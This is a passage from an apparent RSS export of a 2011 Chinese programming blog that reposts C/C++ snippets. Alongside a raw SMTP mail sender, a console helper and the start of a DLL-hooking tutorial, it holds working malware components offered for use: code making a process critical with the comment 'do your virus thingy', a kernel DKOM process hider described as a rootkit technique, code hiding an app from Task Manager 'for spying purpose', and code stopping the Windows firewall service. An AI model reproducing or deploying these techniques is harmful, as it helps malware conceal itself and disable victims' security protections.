<p>int main(int argc, char** argv){<br>&nbsp;if(argc &lt; 4){<br>&nbsp;&nbsp;printf("Usage: ./email &lt;to&gt; &lt;from&gt; &lt;message&gt;\n");<br>&nbsp;&nbsp;return 0;<br>&nbsp;}<br>&nbsp;const struct addrinfo hints = {AI_CANONNAME, AF_INET, SOCK_STREAM, IPPROTO_TCP};<br>&nbsp;struct addrinfo *res;<br>&nbsp;int s;<br>&nbsp;char * buffer;<br>&nbsp;if((buffer = calloc(512, 1)) == NULL){<br>&nbsp;&nbsp;printf("calloc() error.\n");<br>&nbsp;&nbsp;return 0;<br>&nbsp;}<br>&nbsp;if(getaddrinfo("smtp.charter.net", "25", &amp;hints, &amp;res) != 0){ //or w/e server you use.<br>&nbsp;&nbsp;printf("getaddrinfo() error.\n");<br>&nbsp;&nbsp;return 0;<br>&nbsp;}<br>&nbsp;if((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) &lt; 0){<br>&nbsp;&nbsp;printf("socket() error.\n");<br>&nbsp;&nbsp;return 0;<br>&nbsp;}<br>&nbsp;if(connect(s, res-&gt;ai_addr, res-&gt;ai_addrlen) &lt; 0){<br>&nbsp;&nbsp;printf("connect() error.\n");<br>&nbsp;&nbsp;return 0;<br>&nbsp;}<br>&nbsp;senderr(s, "HELO hi\r\n");<br>&nbsp;sprintf(buffer, "MAIL FROM: %s\r\n", argv[2]);<br>&nbsp;if(senderr(s, buffer) &lt; 0) return 0;<br>&nbsp;memset(buffer, 0, 512);<br>&nbsp;sprintf(buffer, "RCPT TO: %s\r\n", argv[1]);<br>&nbsp;if(senderr(s, buffer) &lt; 0) return 0;<br>&nbsp;memset(buffer, 0, 512);<br>&nbsp;if(senderr(s, "DATA\r\n") &lt; 0) return 0;<br>&nbsp;sprintf(buffer, "%s\r\n.\r\n", argv[3]);<br>&nbsp;if(senderr(s, buffer) &lt; 0) return 0;<br>&nbsp;senderr(s, "QUIT\r\n");<br>&nbsp;return 0;<br>}</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73023.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 21:45 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73023.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>How to protect your process</title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73022.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 13:40:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73022.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73022.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73022.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73022.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73022.html</trackback:ping><description><![CDATA[<p>How to protect your process...<br>Well, when you run it, I don't suggest terminating it, cos the effect will be the same as terminating winlogon.exe . RtlSetProcessIsCritical lets us do this.. I wonder what else ntdll.dll hidez .<br><!--c1--><br><br>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;</p>
<p>typedef VOID ( _stdcall *RtlSetProcessIsCritical ) (<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN BOOLEAN&nbsp;&nbsp; &nbsp; NewValue,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OUT PBOOLEAN OldValue, // (optional)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN BOOLEAN&nbsp;&nbsp; IsWinlogon );</p>
<p>BOOL EnablePriv(LPCSTR lpszPriv) // by Napalm<br>{<br>&nbsp;HANDLE hToken;<br>&nbsp;LUID luid;<br>&nbsp;TOKEN_PRIVILEGES tkprivs;<br>&nbsp;ZeroMemory(&amp;tkprivs, sizeof(tkprivs));<br>&nbsp;<br>&nbsp;if(!OpenProcessToken(GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), &amp;hToken))<br>&nbsp;&nbsp;return FALSE;<br>&nbsp;<br>&nbsp;if(!LookupPrivilegeValue(NULL, lpszPriv, &amp;luid)){<br>&nbsp;&nbsp;CloseHandle(hToken); return FALSE;<br>&nbsp;}<br>&nbsp;<br>&nbsp;tkprivs.PrivilegeCount = 1;<br>&nbsp;tkprivs.Privileges[0].Luid = luid;<br>&nbsp;tkprivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;<br>&nbsp;<br>&nbsp;BOOL bRet = AdjustTokenPrivileges(hToken, FALSE, &amp;tkprivs, sizeof(tkprivs), NULL, NULL);<br>&nbsp;CloseHandle(hToken);<br>&nbsp;return bRet;<br>}</p>
<p>BOOL ProtectProcess() // by _FIL73R_<br>{<br>&nbsp;&nbsp; HANDLE hDLL;<br>&nbsp;&nbsp; RtlSetProcessIsCritical fSetCritical;</p>
<p>&nbsp;&nbsp; hDLL = LoadLibraryA("ntdll.dll");<br>&nbsp;&nbsp; if ( hDLL != NULL )<br>&nbsp;&nbsp; {<br>&nbsp;EnablePriv(SE_DEBUG_NAME);<br>&nbsp; &nbsp;(fSetCritical) = (RtlSetProcessIsCritical) GetProcAddress( (HINSTANCE)hDLL, "RtlSetProcessIsCritical" );<br>&nbsp;&nbsp;&nbsp; if(!fSetCritical) return 0;<br>&nbsp;&nbsp;&nbsp; fSetCritical(1,0,0);<br>&nbsp;return 1;<br>&nbsp;&nbsp; } else<br>&nbsp;&nbsp;&nbsp; return 0;<br>}</p>
<p>int main (void)<br>{<br>ProtectProcess();<br>&nbsp;&nbsp; while(1)<br>&nbsp;&nbsp; {<br>&nbsp;// do your virus thingy<br>&nbsp;&nbsp; }<br>return 0;<br>}</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73022.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 21:40 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73022.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Dkom Process Hider </title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73020.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 13:32:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73020.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73020.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73020.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73020.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73020.html</trackback:ping><description><![CDATA[Hey guys.<br>I've written a (sorta) simple program which lets you hide any process you want. It works by using DKOM (Direct Kernel Object Manipulation). To understand how this works, you need to understand how process listing in Windows works.<br><br>Each process has an EPROCESS struct (which isn't officially documented) in the kernel's memory. This structure contains info such as PID, exe name, and a whole whackload of stuff. The struct member that interests us is: <strong class=bbc>LIST_ENTRY ActiveProcessLinks</strong>. Here's the MSDN page for LIST_ENTRY: <a class=bbc_url title="External link" href="http://msdn2.microsoft.com/en-us/library/aa491571.aspx" rel="nofollow external">http://msdn2.microso...y/aa491571.aspx</a><br>The Flink member of this struct points to the next entry (process) in the doubly-linked list. The Blink member points to the previous entry (process).<br>Here's diagram explaining how this works:<br><img class=bbc_img alt="Posted Image" src="http://i159.photobucket.com/albums/t141/sovietweasel/plist.jpg"><br>So, in order to hide a process, all we need to do is disconnect it from the doubly-linked list. Sound simple, huh? Well it is. All we need to do is set the Flink of the process preceding the process we want to hide to the Flink of the process we're hiding. Same is done with the Blink of the next process, which is set to the Blink of the process being hidden. This is all accomplished in a few lines of code. I attached the full source to this post, but I'll post the code that does the hiding here so you can take a look:<br><br><!--c1-->
<div class=codetop>CODE C Language</div>
<div id=highlighter_209579 class="syntaxhighlighter  cpp">
<div class="bar                        ">
<div class=toolbar><a style="WIDTH: 16px; HEIGHT: 16px" class="item viewSource" title="view source" href="http://www.rohitab.com/discuss/topic/23880-dkom-process-hider/#viewSource" commandName="viewSource" highlighterId="highlighter_209579">view source</a>
<div class="item copyToClipboard">
<object id=highlighter_209579_clipboard title="copy to clipboard" codeBase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 width=16 height=16 type=application/x-shockwave-flash>
</object></div>
<a style="WIDTH: 16px; HEIGHT: 16px" class="item printSource" title=print href="http://www.rohitab.com/discuss/topic/23880-dkom-process-hider/#printSource" commandName="printSource" highlighterId="highlighter_209579">print</a><a style="WIDTH: 16px; HEIGHT: 16px" class="item about" title=? href="http://www.rohitab.com/discuss/topic/23880-dkom-process-hider/#about" commandName="about" highlighterId="highlighter_209579">?</a></div>
</div>
<div class=lines>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>01</code></td>
            <td class=content><code class="cpp keyword bold">if</code><code class="cpp plain">(PsLookupProcessByProcessId((</code><code class="cpp color1 bold">PVOID</code><code class="cpp plain">)hps-&gt;uPid, &amp;pEProc) == STATUS_SUCCESS){ </code><code class="cpp comments">//get EPROCESSstruct for the process we want to hide </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>02</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">DbgPrint(</code><code class="cpp string">"EPROCESS found. Address: %08lX.\n"</code><code class="cpp plain">, pEProc); </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>03</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">DbgPrint(</code><code class="cpp string">"Now hiding process %d...\n"</code><code class="cpp plain">, hps-&gt;uPid); </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>04</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">dwEProcAddr = (</code><code class="cpp color1 bold">ULONG</code><code class="cpp plain">) pEProc; </code><code class="cpp comments">//get address of process's EPROCESS struct </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>05</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp keyword bold">__try</code><code class="cpp plain">{ </code><code class="cpp comments">//try/except just in case, so we don't get a BSOD </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>06</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">pListProcs = (PLIST_ENTRY) (dwEProcAddr + hps-&gt;uFlinkOffset); </code><code class="cpp comments">//pListProcs is a LIST_ENTRY struct, which is set to the LIST_ENTRY struct </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>07</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp comments">//in the process being hidden (uLinkOffset varies between 2k and XP) </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>08</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">*((</code><code class="cpp color1 bold">ULONG</code><code class="cpp plain">*) pListProcs-&gt;Blink) = (</code><code class="cpp color1 bold">ULONG</code><code class="cpp plain">) (pListProcs-&gt;Flink);&nbsp;&nbsp; </code><code class="cpp comments">//set flink of prev proc to flink of cur proc </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>09</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">*((</code><code class="cpp color1 bold">ULONG</code><code class="cpp plain">*) pListProcs-&gt;Flink+1) = (</code><code class="cpp color1 bold">ULONG</code><code class="cpp plain">) (pListProcs-&gt;Blink); </code><code class="cpp comments">//set blink of next proc to blink of cur proc </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>10</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">pListProcs-&gt;Flink = (PLIST_ENTRY) &amp;(pListProcs-&gt;Flink); </code><code class="cpp comments">//set flink and blink of cur proc to themselves </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>11</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">pListProcs-&gt;Blink = (PLIST_ENTRY) &amp;(pListProcs-&gt;Flink); </code><code class="cpp comments">//otherwise might bsod when exiting process </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>12</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">DbgPrint(</code><code class="cpp string">"Process now hidden.\n"</code><code class="cpp plain">); </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>13</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">}__except(EXCEPTION_EXECUTE_HANDLER){ </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>14</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">NtStatus = GetExceptionCode(); </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>15</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">DbgPrint(</code><code class="cpp string">"Exception: %d.\n"</code><code class="cpp plain">, NtStatus); </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>16</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">} </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>17</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">NtStatus = STATUS_SUCCESS; </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>18</code></td>
            <td class=content><code class="cpp plain">}</code></td>
        </tr>
    </tbody>
</table>
</div>
</div>
</div>
<!--ec2--><br><br>After the process is hidden, the doubly-linked list looks something like this:<br><img class=bbc_img alt="Posted Image" src="http://i159.photobucket.com/albums/t141/sovietweasel/plist2.jpg"><br>So when a program is listing processes, it skips over the one that we hid. <img class=bbc_emoticon alt=:P src="http://www.rohitab.com/discuss/public/style_emoticons/default/tongue.gif"> This kind of technique is commonly used by rootkits to conceal their processes. This method has its own pros and cons, such as being easier to write than a hook, and in some cases easier or harder to detect.<br><br>Here's an example of what you can do with this program:<br><a class=bbc_url title="External link" href="http://i159.photobucket.com/albums/t141/sovietweasel/hideproc-vmware.jpg" rel="nofollow external"><img class=bbc_img alt="Posted Image" src="http://i159.photobucket.com/albums/t141/sovietweasel/th_hideproc-vmware.jpg"></a><br><br><br>This program works on Windows XP (any version) and Windows 2000 (tested on Professional, but should work on all).<br>I suggest reading <em class=bbc>Rootkits: Subverting the Windows Kernel</em> if you want to learn more about techniques such as this (and this code is partially based on info in that book, but simplified a bit).<br>P.S. I'm not responsible for how you use this code and/or any damages that may be caused as a result of you using this code. 
<img src ="http://www.cnitblog.com/houcy/aggbug/73020.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 21:32 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73020.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>隐藏进程</title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73019.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 13:19:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73019.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73019.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73019.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73019.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73019.html</trackback:ping><description><![CDATA[<xmp>//**************************************
// Name: Hide Your Program
// Description:This code hides your applicatoin from CTRL+ALT+DEL List. Useful for spying purpose. Plz Do vote Me. or mail me for info , sirdneo@yahoo.com
// By: M. Zeeshan Umar
//
//
// Inputs:None
//
// Returns:None
//
//Assumes:None
//
//Side Effects:None
//This code is copyrighted and has limited warranties.
//Please see http://www.Planet-Source-Code.com/xq/ASP/txtCodeId.6666/lngWId.3/qx/vb/scripts/ShowCode.htm
//for details.
//**************************************
void Hide(void)
{
typedef DWORD (__stdcall *pRegFunction)(DWORD, DWORD);
HINSTANCE		hKernelLib;
pRegFunction	RegisterServiceProcess;
hKernelLib = LoadLibrary("kernel32.dll");
if (hKernelLib)
{
RegisterServiceProcess = (pRegFunction)GetProcAddress(hKernelLib, "RegisterServiceProcess");
if (RegisterServiceProcess)
RegisterServiceProcess(GetCurrentProcessId(), 1);
::FreeLibrary(hKernelLib);
}						//change 1 to 0 for ctrl+alt+del to view app
}
</xmp>
<img src ="http://www.cnitblog.com/houcy/aggbug/73019.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 21:19 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73019.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关闭防火墙</title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73018.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 13:16:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73018.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73018.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73018.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73018.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73018.html</trackback:ping><description><![CDATA[<p>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;</p>
<p>int WFDisable( );</p>
<p>int main()<br>{<br>&nbsp;int wf;</p>
<p>&nbsp;wf = WFDisable( );<br>&nbsp;if( wf == 0 ) {<br>&nbsp;&nbsp;printf( "wf&lt; success\n" );<br>&nbsp;}<br>&nbsp;else {<br>&nbsp;&nbsp;printf( "wf&lt; error: %i\n", wf );<br>&nbsp;}<br>&nbsp;getchar(); </p>
<p>&nbsp;return 0;<br>}</p>
<p>int WFDisable()<br>{<br>&nbsp;SERVICE_STATUS sStatus;<br>&nbsp;<br>&nbsp;SC_HANDLE hManager = OpenSCManager( NULL, NULL, 0xF003F );<br>&nbsp;if( hManager == NULL ) {<br>&nbsp;&nbsp;return( 1 );<br>&nbsp;}<br>&nbsp;//win7下防火墙服务名为MpsSvc<br>&nbsp;&nbsp;&nbsp; //xp下防火墙服务名为SharedAccess <br>&nbsp;SC_HANDLE hService = OpenService( hManager, (const char*)"MpsSvc", 0xF01FF ); <br>&nbsp;if( hService == NULL ) {<br>&nbsp;&nbsp;return( 2 );<br>&nbsp;}<br>&nbsp;BOOL bControl = ControlService( hService, 0x00000001, &amp;sStatus );<br>&nbsp;if( bControl == 0 ) {<br>&nbsp;&nbsp;return( 3 );<br>&nbsp;}<br>&nbsp;CloseServiceHandle( hManager );<br>&nbsp;CloseServiceHandle( hService );</p>
<p>&nbsp;return( 0 );<br>}<br></p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73018.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 21:16 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73018.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Allocate a Console for you GUI projects</title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73016.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 11:35:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73016.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73016.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73016.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73016.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73016.html</trackback:ping><description><![CDATA[<p>static void OpenConsole()<br>{<br>&nbsp;&nbsp;&nbsp; int outHandle, errHandle, inHandle;<br>&nbsp;&nbsp;&nbsp; FILE *outFile, *errFile, *inFile;<br>&nbsp;&nbsp;&nbsp; AllocConsole();<br>&nbsp;&nbsp;&nbsp; CONSOLE_SCREEN_BUFFER_INFO coninfo;<br>&nbsp;&nbsp;&nbsp; GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &amp;coninfo);<br>&nbsp;&nbsp;&nbsp; coninfo.dwSize.Y = 9999;<br>&nbsp;&nbsp;&nbsp; SetConsoleScreenBufferSize(GetStdHandle(STD_OUTPUT_HANDLE), coninfo.dwSize);</p>
<p>&nbsp;&nbsp;&nbsp; outHandle = _open_osfhandle((long)GetStdHandle(STD_OUTPUT_HANDLE), _O_TEXT);<br>&nbsp;&nbsp;&nbsp; errHandle = _open_osfhandle((long)GetStdHandle(STD_ERROR_HANDLE),_O_TEXT);<br>&nbsp;&nbsp;&nbsp; inHandle = _open_osfhandle((long)GetStdHandle(STD_INPUT_HANDLE),_O_TEXT );</p>
<p>&nbsp;&nbsp;&nbsp; outFile = _fdopen(outHandle, "w" );<br>&nbsp;&nbsp;&nbsp; errFile = _fdopen(errHandle, "w");<br>&nbsp;&nbsp;&nbsp; inFile =&nbsp; _fdopen(inHandle, "r");</p>
<p>&nbsp;&nbsp;&nbsp; *stdout = *outFile;<br>&nbsp;&nbsp;&nbsp; *stderr = *errFile;<br>&nbsp;&nbsp;&nbsp; *stdin = *inFile;</p>
<p>&nbsp;&nbsp;&nbsp; setvbuf( stdout, NULL, _IONBF, 0 );<br>&nbsp;&nbsp;&nbsp; setvbuf( stderr, NULL, _IONBF, 0 );<br>&nbsp;&nbsp;&nbsp; setvbuf( stdin, NULL, _IONBF, 0 );</p>
<p>&nbsp;&nbsp;&nbsp; std::ios::sync_with_stdio();</p>
<p>}</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73016.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 19:35 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73016.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用Regular DLL写hook</title><link>http://www.cnitblog.com/houcy/archive/2010/08/22/68301.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Sat, 21 Aug 2010 16:44:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2010/08/22/68301.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/68301.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2010/08/22/68301.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/68301.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/68301.html</trackback:ping><description><![CDATA[<span style="COLOR: #0000ff">目录：<br>1. 动态链接库DLL介绍<br>2.使用Regular DLL写钩子</span><br><br><span style="COLOR: #0000ff">1. 动态链接库DLL介绍<br></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;微软的Visual C++支持三种DLL，它们分别是Non-MFC Dll（非MFC动态库）、Regular Dll（常规DLL）、Extension Dll（扩展DLL）。Non-MFC DLL指的是不用MFC的类库结构，直接用C语言写的DLL，其导出的函数是标准的C接口，能被非MFC或MFC编写的应用程序所调用。Regular DLL:和下述的Extension Dlls一样，是用MFC类库编写的，它的一个明显的特点是在源文件里有一个继承CWinApp的类（注意：此类DLL虽然从CWinApp派生，但没有消息循环）,被导出的函数是C函数、C++类或者C++成员函数（注意不要把术语C++类与MFC的微软基础C++类相混淆），调用常规DLL的应用程序不必是MFC应用程序，只要是能调用类C函数的应用程序就可以，它们可以是在Visual C++、Dephi、Visual Basic、Borland C等编译环境下利用DLL开发应用程序。常规DLL又可细分成静态链接到MFC和动态链接到MFC上的.<br><br>（一） Win32 Dynamic-Link Library方式创建Non-MFC DLL动态链接库<br><br>　　每一个DLL必须有一个入口点，这就象我们用C编写的应用程序一样，必须有一个WINMAIN函数一样。在Non-MFC DLL中DllMain是一个缺省的入口函数，你不需要编写自己的DLL入口函数，用这个缺省的入口函数就能使动态链接库被调用时得到正确的初始化。如果应用程序的DLL需要分配额外的内存或资源时，或者说需要对每个进程或线程初始化和清除操作时，需要在相应的DLL工程的.CPP文件中对DllMain()函数按照下面的格式书写。<br><br>
<table borderColor=#cccccc width="90%" align=center bgColor=#e7e9e9 border=1>
    <tbody>
        <tr>
            <td>BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)<br>{<br>　switch( ul_reason_for_call )<br>　{<br>　　case DLL_PROCESS_ATTACH:<br>　　　.......<br>　　case DLL_THREAD_ATTACH:<br>　　　.......<br>　　case DLL_THREAD_DETACH:<br>　　　.......<br>　　case DLL_PROCESS_DETACH:<br>　　　.......<br>　}<br>　return TRUE;<br>}</td>
        </tr>
    </tbody>
</table>
